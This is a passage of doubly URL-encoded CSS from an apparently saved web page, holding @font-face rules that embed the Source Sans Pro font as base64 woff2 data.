%33%37%25%36%65%25%37%31%25%36%39%25%34%31%25%36%31%25%37%32%25%34%38%25%33%35%25%37%33%25%33%31%25%33%31%25%33%34%25%34%33%25%34%61%25%34%31%25%36%62%25%37%33%25%34%37%25%35%33%25%34%39%25%34%36%25%34%62%25%36%38%25%35%36%25%34%66%25%34%66%25%36%65%25%36%61%25%37%30%25%34%35%25%35%37%25%35%32%25%34%31%25%36%63%25%34%32%25%34%36%25%35%61%25%35%61%25%36%38%25%35%32%25%35%61%25%35%35%25%34%36%25%37%33%25%37%31%25%36%66%25%37%36%25%35%61%25%33%35%25%35%37%25%34%32%25%35%36%25%33%32%25%36%35%25%33%35%25%35%34%25%36%64%25%37%32%25%35%34%25%34%38%25%34%36%25%36%39%25%34%33%25%36%36%25%36%33%25%36%31%25%34%34%25%37%38%25%36%64%25%37%32%25%36%38%25%34%65%25%34%39%25%33%39%25%34%35%25%34%66%25%37%30%25%36%36%25%36%39%25%37%31%25%37%32%25%37%32%25%34%65%25%35%33%25%36%39%25%36%38%25%36%39%25%37%39%25%32%62%25%36%36%25%35%30%25%36%36%25%37%31%25%36%62%25%33%32%25%36%32%25%35%32%25%36%64%25%35%34%25%33%36%25%33%37%25%32%62%25%37%36%25%37%34%25%36%36%25%35%37%25%32%62%25%36%65%25%36%63%25%32%62%25%36%64%25%34%39%25%35%33%25%35%39%25%35%34%25%37%34%25%37%39%25%36%39%25%36%66%25%32%66%25%36%39%25%36%61%25%33%31%25%36%31%25%35%34%25%37%38%25%37%33%25%35%30%25%35%36%25%33%35%25%34%33%25%37%30%25%36%61%25%37%32%25%36%32%25%33%37%25%36%34%25%33%30%25%35%33%25%36%63%25%33%38%25%33%32%25%36%65%25%36%32%25%37%30%25%36%35%25%35%37%25%35%30%25%33%34%25%33%38%25%34%65%25%34%65%25%36%61%25%36%36%25%32%66%25%33%39%25%35%37%25%33%38%25%32%62%25%36%36%25%33%33%25%34%38%25%33%33%25%35%35%25%33%36%25%37%30%25%36%36%25%33%38%25%34%32%25%34%31%25%34%31%25%34%31%25%33%64%25%32%39%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%32%38%25%32%37%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%37%25%32%39%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%35%25%36%65%25%36%39%25%36%33%25%36%66%25%36%34%25%36%35%25%32%64%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%33%61%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%33%30%25%33%30%25%32%64%25%33%30%25%33%32%25%33%34%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%32%25%33%35%25%33%39%25%32%63%25%32%30%25%35%35%25%32%62%25%33%31%25%34%35%25%33%30%25%33%30%25%32%64%25%33%31%25%34%35%25%34%36%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%33%32%25%33%30%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%34%31%25%33%30%25%32%64%25%33%32%25%33%30%25%34%31%25%34%32%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%34%31%25%34%34%25%32%64%25%33%32%25%33%30%25%34%33%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%31%25%33%31%25%33%33%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%34%33%25%33%36%25%33%30%25%32%64%25%33%32%25%34%33%25%33%37%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%34%31%25%33%37%25%33%32%25%33%30%25%32%64%25%34%31%25%33%37%25%34%36%25%34%36%25%33%62%25%30%64%25%30%61%25%37%64%25%30%64%25%30%61%25%32%66%25%32%61%25%32%30%25%36%63%25%36%31%25%37%34%25%36%39%25%36%65%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%34%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%33%33%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%37%31%25%34%66%25%34%62%25%33%37%25%36%63%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%34%25%33%37%25%37%37%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%36%65%25%37%33%25%34%31%25%34%31%25%34%31%25%34%34%25%33%36%25%34%66%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%62%25%35%39%25%36%32%25%37%34%25%34%37%25%35%39%25%36%33%25%36%38%25%36%39%25%34%31%25%34%37%25%35%39%25%34%31%25%34%33%25%34%66%25%34%34%25%36%37%25%36%37%25%37%31%25%34%33%25%35%39%25%34%61%25%37%61%25%34%35%25%35%31%25%36%37%25%34%62%25%36%37%25%36%33%25%33%39%25%35%31%25%36%37%25%36%32%25%35%35%25%34%37%25%34%33%25%33%34%25%35%31%25%37%31%25%34%31%25%34%31%25%34%35%25%33%32%25%34%31%25%36%39%25%35%31%25%34%34%25%36%39%25%34%36%25%34%31%25%34%35%25%34%39%25%34%31%25%35%37%25%34%36%25%34%64%25%36%37%25%36%35%25%34%61%25%35%61%25%35%31%25%37%38%25%35%37%25%34%37%25%37%38%25%37%35%25%34%66%25%34%61%25%36%32%25%34%62%25%33%35%25%33%30%25%33%31%25%34%34%25%35%34%25%36%64%25%33%31%25%35%35%25%35%33%25%34%65%25%34%34%25%35%34%25%36%35%25%33%32%25%33%35%25%36%31%25%34%64%25%35%39%25%33%34%25%33%34%25%34%33%25%37%35%25%37%35%25%34%66%25%36%33%25%35%36%25%35%61%25%34%62%25%36%62%25%37%33%25%36%63%25%34%35%25%34%39%25%36%32%25%34%32%25%37%37%25%35%31%25%33%34%25%35%30%25%37%39%25%35%34%25%34%36%25%37%36%25%32%66%25%32%66%25%35%30%25%35%35%25%34%38%25%34%37%25%34%37%25%34%65%25%37%33%25%36%35%25%37%35%25%37%61%25%33%32%25%36%37%25%35%37%25%37%34%25%35%35%25%34%31%25%37%38%25%34%39%25%34%32%25%33%30%25%36%36%25%34%62%25%36%31%25%33%31%25%34%65%25%34%62%25%33%32%25%36%32%25%33%33%25%36%34%25%33%37%25%34%37%25%35%38%25%37%34%25%34%37%25%36%31%25%36%39%25%37%30%25%33%32%25%34%35%25%36%62%25%36%65%25%33%33%25%35%32%25%36%35%25%34%36%25%36%36%25%35%32%25%36%36%25%35%33%25%34%31%25%35%36%25%36%35%25%36%39%25%37%30%25%33%32%25%37%36%25%36%33%25%37%36%25%33%35%25%36%61%25%36%63%25%34%39%25%36%62%25%35%37%25%36%62%25%35%36%25%34%35%25%36%34%25%36%35%25%36%62%25%37%33%25%36%33%25%33%39%25%36%39%25%37%39%25%37%30%25%32%62%25%34%64%25%37%30%25%32%62%25%34%61%25%34%34%25%37%31%25%36%65%25%35%36%25%35%33%25%34%39%25%34%31%25%36%62%25%34%65%25%36%37%25%36%63%25%37%38%25%34%63%25%36%65%25%37%34%25%36%63%25%36%39%25%34%62%25%34%62%25%35%32%25%37%37%25%35%31%25%34%32%25%36%33%25%34%66%25%34%31%25%37%33%25%34%63%25%35%30%25%34%39%25%34%64%25%35%36%25%32%66%25%32%66%25%32%66%25%35%33%25%33%30%25%36%61%25%34%65%25%33%34%25%34%64%25%33%34%25%34%34%25%36%63%25%34%64%25%36%33%25%37%34%25%35%35%25%36%33%25%36%36%25%36%36%25%35%37%25%36%31%25%35%32%25%33%31%25%37%61%25%36%62%25%34%34%25%33%32%25%33%30%25%36%32%25%32%62%25%34%61%25%34%33%25%36%35%25%37%36%25%35%30%25%35%35%25%33%39%25%37%61%25%32%66%25%37%33%25%32%62%25%33%35%25%36%34%25%33%37%25%34%64%25%37%38%25%35%31%25%35%33%25%37%39%25%34%35%25%36%61%25%35%61%25%34%32%25%36%37%25%32%66%25%36%61%25%33%39%25%35%36%25%36%31%25%34%62%25%36%63%25%34%34%25%34%61%25%35%36%25%34%31%25%37%38%25%37%30%25%33%39%25%35%34%25%35%35%25%34%62%25%34%34%25%35%37%25%33%33%25%33%31%25%34%61%25%35%33%25%32%62%25%36%64%25%36%38%25%34%33%25%36%35%25%32%66%25%37%38%25%37%32%25%36%61%25%33%39%25%36%34%25%37%39%25%33%33%25%34%39%25%35%31%25%35%32%25%34%36%25%35%30%25%34%32%25%33%34%25%35%39%25%36%34%25%34%33%25%35%39%25%33%36%25%34%34%25%36%62%25%36%39%25%36%63%25%33%34%25%33%31%25%37%35%25%34%65%25%34%62%25%34%33%25%37%39%25%35%31%25%36%32%25%34%37%25%33%31%25%35%36%25%33%36%25%37%36%25%33%34%25%34%66%25%33%30%25%34%65%25%37%38%25%34%33%25%34%37%25%35%38%25%36%63%25%34%35%25%37%32%25%36%35%25%37%34%25%35%37%25%34%34%25%35%37%25%37%39%25%33%37%25%35%37%25%33%39%25%33%32%25%35%33%25%37%37%25%35%32%25%36%61%25%36%32%25%35%33%25%34%62%25%36%62%25%37%39%25%35%33%25%34%32%25%35%35%25%34%36%25%34%31%25%33%36%25%37%36%25%36%35%25%33%36%25%36%38%25%36%36%25%32%66%25%34%64%25%36%35%25%37%35%25%34%36%25%34%34%25%33%36%25%34%66%25%34%33%25%36%36%25%33%37%25%32%62%25%37%37%25%33%38%25%37%33%25%34%66%25%36%64%25%34%31%25%36%62%25%32%62%25%36%31%25%37%36%25%35%31%25%34%33%25%35%38%25%34%62%25%36%39%25%35%37%25%35%32%25%36%63%25%33%35%25%36%33%25%35%35%25%37%35%25%35%30%25%32%62%25%36%37%25%35%37%25%33%35%25%36%65%25%32%66%25%36%39%25%37%33%25%36%38%25%36%32%25%37%31%25%34%33%25%36%37%25%34%35%25%36%35%25%37%38%25%35%38%25%36%37%25%33%31%25%35%35%25%36%37%25%33%39%25%36%35%25%34%35%25%33%37%25%36%37%25%33%38%25%34%66%25%37%31%25%37%37%25%33%33%25%34%34%25%36%31%25%36%63%25%36%65%25%37%35%25%33%35%25%34%34%25%36%66%25%36%33%25%34%31%25%33%31%25%36%64%25%37%38%25%34%63%25%36%62%25%36%39%25%37%30%25%36%37%25%35%35%25%34%35%25%34%65%25%37%37%25%32%66%25%34%37%25%32%62%25%36%63%25%33%32%25%36%33%25%34%35%25%33%36%25%34%36%25%37%33%25%33%31%25%36%35%25%35%38%25%35%61%25%33%33%25%35%36%25%33%31%25%36%35%25%35%34%25%35%36%25%34%35%25%35%30%25%34%34%25%36%32%25%34%34%25%36%63%25%34%63%25%34%39%25%33%31%25%37%39%25%37%37%25%34%32%25%32%66%25%36%33%25%37%35%25%37%32%25%33%37%25%34%34%25%37%31%25%33%35%25%37%61%25%37%30%25%35%31%25%34%36%25%34%38%25%37%34%25%35%39%25%35%34%25%37%37%25%36%61%25%32%62%25%35%32%25%36%31%25%33%30%25%37%36%25%37%33%25%33%34%25%34%61%25%34%66%25%34%66%25%36%31%25%35%37%25%35%38%25%36%31%25%36%64%25%33%39%25%35%32%25%36%36%25%34%31%25%35%30%25%33%36%25%37%30%25%37%37%25%36%37%25%34%32%25%36%36%25%35%34%25%34%63%25%36%39%25%36%33%25%37%33%25%34%63%25%36%63%25%37%37%25%37%31%25%35%38%25%32%62%25%33%33%25%34%32%25%34%38%25%37%37%25%34%62%25%37%35%25%34%36%25%36%33%25%37%38%25%33%34%25%34%32%25%35%30%25%37%36%25%35%38%25%36%36%25%36%66%25%33%31%25%33%38%25%34%39%25%35%32%25%34%35%25%34%62%25%35%31%25%33%34%25%34%61%25%35%31%25%34%33%25%35%36%25%33%32%25%33%38%25%36%63%25%36%32%25%37%34%25%34%64%25%35%30%25%35%38%25%36%35%25%32%62%25%33%36%25%35%38%25%33%36%25%37%61%25%34%64%25%33%33%25%36%64%25%33%37%25%36%39%25%37%38%25%33%33%25%32%66%25%36%32%25%37%34%25%36%31%25%33%38%25%34%32%25%34%35%25%33%35%25%36%64%25%37%39%25%34%62%25%37%32%25%35%35%25%36%61%25%34%62%25%37%32%25%35%33%25%36%34%25%35%38%25%36%62%25%34%33%25%37%30%25%34%65%25%36%34%25%35%36%25%37%35%25%35%36%25%32%62%25%37%38%25%33%35%25%36%61%25%36%36%25%33%38%25%37%32%25%36%37%25%37%34%25%35%31%25%37%33%25%35%32%25%35%38%25%37%37%25%36%39%25%37%31%25%33%31%25%33%34%25%34%61%25%35%31%25%34%31%25%36%32%25%35%35%25%34%31%25%34%34%25%36%37%25%34%64%25%36%37%25%34%38%25%33%39%25%37%36%25%36%31%25%36%63%25%35%38%25%32%66%25%36%36%25%36%32%25%34%62%25%32%62%25%34%62%25%35%38%25%33%31%25%34%32%25%33%33%25%36%31%25%34%31%25%34%64%25%35%33%25%37%61%25%33%31%25%37%30%25%35%36%25%35%34%25%33%36%25%34%31%25%36%35%25%37%35%25%34%36%25%35%33%25%37%38%25%33%39%25%37%36%25%33%31%25%34%33%25%37%37%25%35%35%25%37%37%25%35%31%25%34%33%25%34%36%25%34%31%25%37%39%25%34%39%25%35%32%25%36%61%25%34%32%25%34%31%25%34%37%25%34%64%25%34%36%25%36%31%25%35%61%25%35%36%25%37%30%25%34%61%25%33%36%25%37%33%25%36%65%25%37%33%25%34%38%25%33%34%25%37%36%25%35%37%25%33%38%25%33%30%25%36%37%25%36%39%25%36%33%25%33%39%25%34%62%25%36%38%25%37%34%25%34%63%25%34%38%25%34%37%25%35%35%25%36%63%25%37%34%25%34%33%25%34%66%25%35%31%25%35%61%25%37%33%25%33%39%25%33%33%25%35%34%25%35%36%25%36%66%25%34%65%25%34%32%25%37%30%25%37%61%25%37%33%25%37%37%25%34%39%25%36%65%25%34%35%25%35%38%25%36%39%25%36%38%25%33%39%25%32%66%25%34%36%25%37%31%25%33%37%25%33%31%25%33%37%25%37%36%25%34%32%25%35%34%25%36%65%25%36%66%25%34%37%25%36%35%25%37%37%25%34%34%25%37%35%25%33%33%25%37%34%25%34%62%25%32%66%25%35%30%25%33%35%25%35%61%25%35%36%25%34%65%25%37%30%25%37%37%25%33%39%25%37%39%25%36%64%25%33%30%25%37%34%25%36%38%25%37%38%25%36%63%25%34%33%25%36%64%25%36%65%25%35%39%25%36%34%25%34%32%25%37%37%25%36%31%25%34%61%25%36%37%25%33%32%25%36%36%25%37%30%25%36%62%25%35%38%25%32%62%25%37%37%25%35%37%25%33%35%25%36%31%25%36%35%25%37%38%25%34%31%25%36%36%25%35%39%25%32%62%25%35%61%25%34%61%25%32%62%25%33%34%25%37%33%25%36%39%25%35%30%25%34%31%25%36%66%25%37%33%25%37%37%25%36%63%25%35%34%25%36%39%25%34%38%25%32%62%25%34%62%25%32%62%25%36%65%25%33%33%25%36%32%25%36%64%25%37%61%25%35%32%25%33%33%25%32%66%25%36%37%25%34%35%25%33%32%25%33%30%25%35%39%25%36%38%25%33%35%25%34%39%25%33%39%25%36%62%25%34%35%25%36%31%25%32%66%25%32%62%25%34%64%25%36%32%25%37%34%25%35%39%25%33%34%25%37%36%25%34%62%25%37%61%25%35%35%25%34%32%25%33%37%25%37%35%25%35%39%25%34%61%25%36%38%25%36%64%25%36%62%25%36%35%25%35%35%25%37%30%25%33%34%25%34%37%25%34%37%25%34%31%25%36%39%25%34%35%25%35%31%25%36%31%25%36%64%25%36%65%25%36%61%25%33%39%25%36%36%25%36%62%25%37%30%25%34%64%25%34%62%25%36%61%25%37%35%25%35%32%25%36%35%25%34%38%25%34%32%25%36%32%25%35%34%25%33%39%25%32%66%25%33%30%25%37%34%25%32%66%25%33%32%25%35%34%25%37%33%25%35%61%25%37%39%25%36%37%25%35%33%25%33%36%25%34%62%25%33%31%25%35%35%25%34%37%25%33%39%25%37%37%25%33%39%25%34%33%25%36%66%25%36%38%25%34%31%25%36%31%25%36%61%25%33%30%25%34%62%25%35%39%25%34%65%25%33%33%25%36%36%25%36%35%25%34%61%25%37%39%25%33%39%25%37%36%25%34%61%25%37%30%25%34%32%25%34%33%25%36%35%25%35%61%25%36%64%25%36%38%25%37%61%25%34%61%25%32%66%25%33%38%25%34%66%25%37%31%25%34%37%25%36%62%25%35%35%25%34%61%25%34%62%25%36%38%25%37%34%25%34%66%25%33%35%25%36%31%25%35%35%25%35%61%25%34%37%25%34%31%25%32%62%25%37%32%25%35%36%25%34%64%25%35%30%25%36%64%25%37%39%25%35%32%25%37%36%25%36%31%25%36%37%25%33%39%25%37%31%25%34%36%25%33%31%25%34%38%25%35%35%25%35%61%25%37%37%25%35%36%25%35%61%25%37%35%25%33%30%25%34%62%25%33%34%25%37%61%25%33%35%25%33%32%25%35%37%25%35%33%25%34%35%25%35%38%25%32%66%25%37%35%25%36%65%25%37%36%25%36%64%25%32%66%25%33%37%25%35%38%25%36%65%25%36%34%25%34%65%25%34%62%25%36%36%25%37%37%25%36%62%25%37%37%25%34%34%25%33%37%25%34%31%25%34%63%25%33%39%25%36%39%25%36%31%25%36%61%25%35%61%25%36%34%25%37%35%25%34%31%25%34%31%25%36%66%25%33%30%25%35%33%25%34%34%25%34%31%25%35%30%25%36%64%25%35%34%25%34%64%25%35%61%25%36%35%25%37%36%25%37%38%25%36%33%25%37%31%25%35%36%25%34%39%25%36%32%25%36%31%25%34%65%25%36%64%25%35%39%25%37%38%25%36%65%25%34%37%25%37%61%25%37%36%25%32%62%25%37%61%25%34%37%25%33%33%25%37%32%25%33%39%25%36%33%25%34%34%25%35%38%25%36%66%25%32%66%25%34%63%25%37%33%25%36%66%25%36%38%25%36%34%25%37%37%25%36%38%25%34%39%25%36%62%25%35%33%25%34%61%25%34%31%25%35%31%25%34%32%25%37%32%25%34%38%25%36%65%25%36%36%25%33%30%25%33%32%25%35%38%25%37%31%25%36%66%25%35%30%25%34%66%25%35%32%25%35%61%25%37%37%25%34%36%25%34%63%25%36%61%25%34%35%25%34%66%25%34%37%25%36%35%25%37%32%25%36%61%25%35%30%25%37%38%25%33%39%25%34%34%25%37%30%25%35%37%25%33%36%25%37%36%25%36%34%25%34%61%25%36%65%25%35%36%25%34%66%25%34%35%25%34%35%25%34%32%25%37%38%25%36%31%25%35%33%25%33%39%25%32%62%25%32%66%25%32%62%25%36%38%25%35%31%25%35%31%25%34%31%25%34%65%25%34%31%25%34%31%25%34%31%25%35%39%25%34%61%25%35%33%25%35%39%25%35%36%25%34%62%25%36%31%25%34%64%25%34%64%25%36%62%25%36%39%25%33%30%25%34%38%25%36%31%25%36%31%25%37%37%25%37%38%25%33%30%25%36%63%25%35%61%25%36%32%25%37%30%25%34%39%25%37%35%25%37%35%25%35%33%25%34%39%25%34%35%25%34%33%25%37%30%25%34%62%25%32%66%25%32%62%25%36%64%25%34%34%25%32%66%25%32%62%25%34%39%25%34%31%25%35%32%25%35%31%25%37%39%25%35%61%25%34%65%25%35%30%25%33%32%25%34%63%25%37%34%25%32%66%25%33%34%25%37%37%25%34%31%25%34%35%25%35%38%25%32%66%25%37%39%25%35%35%25%37%34%25%35%39%25%34%34%25%37%61%25%36%31%25%37%35%25%35%39%25%33%33%25%35%31%25%36%34%25%34%39%25%37%34%25%35%35%25%37%33%25%35%33%25%36%37%25%34%38%25%34%31%25%34%35%25%34%31%25%37%32%25%37%38%25%36%34%25%34%32%25%36%66%25%33%35%25%35%61%25%37%31%25%35%37%25%35%39%25%37%30%25%32%66%25%33%34%25%34%66%25%36%32%25%36%63%25%34%63%25%34%31%25%36%32%25%34%32%25%34%63%25%37%61%25%37%33%25%34%31%25%34%32%25%34%65%25%36%33%25%36%65%25%34%37%25%34%37%25%34%65%25%37%32%25%36%65%25%35%32%25%35%61%25%37%34%25%33%37%25%35%36%25%34%65%25%33%37%25%37%37%25%36%65%25%35%32%25%33%33%25%35%35%25%36%64%25%34%31%25%35%32%25%36%66%25%35%61%25%35%31%25%37%33%25%33%34%25%37%30%25%33%38%25%33%37%25%36%33%25%36%37%25%34%37%25%35%33%25%34%36%25%35%37%25%34%61%25%36%31%25%34%33%25%33%39%25%35%37%25%34%37%25%36%37%25%33%36%25%34%31%25%36%63%25%35%38%25%33%36%25%33%31%25%36%66%25%37%34%25%35%61%25%36%31%25%37%31%25%36%61%25%35%31%25%37%61%25%34%64%25%35%37%25%34%38%25%34%63%25%36%61%25%37%39%25%35%38%25%34%35%25%37%34%25%33%36%25%36%32%25%35%37%25%35%37%25%37%31%25%35%39%25%33%31%25%34%64%25%34%63%25%34%39%25%35%35%25%34%35%25%36%66%25%34%39%25%32%62%25%33%37%25%35%34%25%35%37%25%35%31%25%34%34%25%32%62%25%34%33%25%36%39%25%34%38%25%35%39%25%37%31%25%33%38%25%33%35%25%33%36%25%33%36%25%35%30%25%36%34%25%37%34%25%34%39%25%36%61%25%35%37%25%34%38%25%33%39%25%33%36%25%36%31%25%33%36%25%36%35%25%34%35%25%33%38%25%35%61%25%36%35%25%32%66%25%36%39%25%35%32%25%34%62%25%35%38%25%37%38%25%33%33%25%36%36%25%36%33%25%36%63%25%35%34%25%35%37%25%35%32%25%36%35%25%37%30%25%36%64%25%34%31%25%37%32%25%34%62%25%35%37%25%35%35%25%36%35%25%35%39%25%33%32%25%36%61%25%37%38%25%37%38%25%32%62%25%36%65%25%36%61%25%33%38%25%37%31%25%35%38%25%33%31%25%34%36%25%33%38%25%34%64%25%34%33%25%37%31%25%37%31%25%37%30%25%33%35%25%33%37%25%36%65%25%33%39%25%36%38%25%36%38%25%34%38%25%33%37%25%36%65%25%34%62%25%36%36%25%37%39%25%34%32%25%36%62%25%35%30%25%37%33%25%35%30%25%34%62%25%36%39%25%36%33%25%37%61%25%35%38%25%32%66%25%35%35%25%37%39%25%34%31%25%33%30%25%33%32%25%34%61%25%36%65%25%35%38%25%37%32%25%34%35%25%34%66%25%37%36%25%37%32%25%34%64%25%34%63%25%34%35%25%35%32%25%36%64%25%36%62%25%36%39%25%36%64%25%35%37%25%34%62%25%36%63%25%35%33%25%34%35%25%37%34%25%35%61%25%35%39%25%36%64%25%35%39%25%36%31%25%36%31%25%36%62%25%34%62%25%34%61%25%35%33%25%32%62%25%35%35%25%37%35%25%35%35%25%34%62%25%34%36%25%36%33%25%36%31%25%36%39%25%35%32%25%33%32%25%37%36%25%34%33%25%36%63%25%34%64%25%36%31%25%35%39%25%34%33%25%34%39%25%34%39%25%37%30%25%34%32%25%34%36%25%34%64%25%37%61%25%34%64%25%37%37%25%36%38%25%36%64%25%34%35%25%37%33%25%37%39%25%35%38%25%34%34%25%37%61%25%33%38%25%37%31%25%32%66%25%37%34%25%35%31%25%34%33%25%36%31%25%34%31%25%35%38%25%35%33%25%34%33%25%32%62%25%34%39%25%36%65%25%36%64%25%34%36%25%34%35%25%34%39%25%36%36%25%32%62%25%35%39%25%37%37%25%36%37%25%34%39%25%35%35%25%36%62%25%36%39%25%34%36%25%35%35%25%36%37%25%34%37%25%37%37%25%35%37%25%34%38%25%34%35%25%34%66%25%34%37%25%35%35%25%36%66%25%36%37%25%35%33%25%34%61%25%34%35%25%35%33%25%35%32%25%36%35%25%37%31%25%34%31%25%35%31%25%35%37%25%36%39%25%35%34%25%35%33%25%35%33%25%33%36%25%34%33%25%35%34%25%37%61%25%36%63%25%36%33%25%34%39%25%36%37%25%34%65%25%36%32%25%35%32%25%34%62%25%35%35%25%33%35%25%37%30%25%34%61%25%33%32%25%36%31%25%35%36%25%36%37%25%35%36%25%36%35%25%35%34%25%36%66%25%37%32%25%35%34%25%35%38%25%35%36%25%36%66%25%36%35%25%35%39%25%34%37%25%36%66%25%33%39%25%37%61%25%37%36%25%36%62%25%36%31%25%37%35%25%37%32%25%37%33%25%35%31%25%34%32%25%34%65%25%37%34%25%34%32%25%34%33%25%36%62%25%37%30%25%35%34%25%35%61%25%34%33%25%37%34%25%34%65%25%36%34%25%35%36%25%36%62%25%34%66%25%33%35%25%33%36%25%37%33%25%36%35%25%36%37%25%37%34%25%36%65%25%33%38%25%34%37%25%33%37%25%33%31%25%35%35%25%34%32%25%36%61%25%36%61%25%34%39%25%33%30%25%35%34%25%36%37%25%34%35%25%37%37%25%34%66%25%36%64%25%36%31%25%36%64%25%36%64%25%36%62%25%35%61%25%36%64%25%34%66%25%36%64%25%33%30%25%34%35%25%37%37%25%34%35%25%37%61%25%36%33%25%37%32%25%34%36%25%34%64%25%37%37%25%33%32%25%34%32%25%33%35%25%36%63%25%34%63%25%34%64%25%36%66%25%33%39%25%36%66%25%35%30%25%37%33%25%36%64%25%34%33%25%35%35%25%34%63%25%35%34%25%35%31%25%34%35%25%36%64%25%34%36%25%33%32%25%34%33%25%35%30%25%34%35%25%34%34%25%33%39%25%32%66%25%34%64%25%37%32%25%34%31%25%36%61%25%36%32%25%36%64%25%34%32%25%36%37%25%34%36%25%33%30%25%36%66%25%36%36%25%37%36%25%33%39%25%37%36%25%36%33%25%36%36%25%35%39%25%34%34%25%34%33%25%34%62%25%35%61%25%32%62%25%34%33%25%33%33%25%34%36%25%36%65%25%36%36%25%36%62%25%34%65%25%34%65%25%35%37%25%35%37%25%35%31%25%36%36%25%33%36%25%37%39%25%37%31%25%34%32%25%37%36%25%34%64%25%36%31%25%35%38%25%34%62%25%36%62%25%37%61%25%35%34%25%34%62%25%34%38%25%33%30%25%33%30%25%36%63%25%36%33%25%34%37%25%35%35%25%33%37%25%36%38%25%33%35%25%36%36%25%36%65%25%37%33%25%35%34%25%35%34%25%34%35%25%33%36%25%35%34%25%35%31%25%32%62%25%32%66%25%33%37%25%33%36%25%37%34%25%36%65%25%36%37%25%35%34%25%37%37%25%33%36%25%35%61%25%33%39%25%33%35%25%36%39%25%33%34%25%33%39%25%35%36%25%36%38%25%34%37%25%35%61%25%33%36%25%36%61%25%37%33%25%33%35%25%37%30%25%35%31%25%36%37%25%36%35%25%33%30%25%36%62%25%36%39%25%36%62%25%35%33%25%36%63%25%33%32%25%33%34%25%36%62%25%35%61%25%36%35%25%36%36%25%36%66%25%37%35%25%33%34%25%36%63%25%33%32%25%34%34%25%33%34%25%34%32%25%37%34%25%34%39%25%36%35%25%36%38%25%34%36%25%34%37%25%33%38%25%33%30%25%36%39%25%36%65%25%34%61%25%36%33%25%33%31%25%36%61%25%32%62%25%34%63%25%37%30%25%34%65%25%32%66%25%33%39%25%32%66%25%34%61%25%33%36%25%35%39%25%34%61%25%34%38%25%35%34%25%34%62%25%35%39%25%37%31%25%37%61%25%36%64%25%36%61%25%34%66%25%33%30%25%35%33%25%35%34%25%33%39%25%34%32%25%37%30%25%37%36%25%37%34%25%33%32%25%33%34%25%32%66%25%34%63%25%34%39%25%34%32%25%36%66%25%35%35%25%36%35%25%37%61%25%34%62%25%36%35%25%34%61%25%37%37%25%35%33%25%34%39%25%36%66%25%36%33%25%33%39%25%35%61%25%36%34%25%34%33%25%36%62%25%37%39%25%34%66%25%34%33%25%33%39%25%33%30%25%35%31%25%33%30%25%37%34%25%33%38%25%35%30%25%35%33%25%36%34%25%36%31%25%36%64%25%36%66%25